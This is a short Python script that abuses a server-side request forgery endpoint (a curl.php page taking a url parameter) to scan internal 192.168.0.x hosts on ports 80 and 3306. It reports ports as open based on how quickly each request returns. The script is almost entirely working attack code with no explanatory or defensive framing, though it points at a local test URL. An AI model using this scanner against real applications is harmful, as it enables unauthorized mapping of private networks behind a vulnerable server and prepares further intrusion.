import requests
import time
url='http://127.0.0.1/ssrf/curl.php?url=http://'
exp_ports = ['80','3306']
yu = 1

ret = [] # open port list 
for i in range(1,20):
    ip = "192.168.0."+str(i)
    for port in exp_ports:
        s = time.time()
        u = url+ip+":"+port
        #print(u)
        try:
            r = requests.get(u,timeout=1)
        except:
            pass
        e = time.time()
        print(ip+":"+ port +" tm: "+ str( e-s))
        if e-s<0.5:
            ret.append(ip+":"+port)

print('\n'.join(ret))
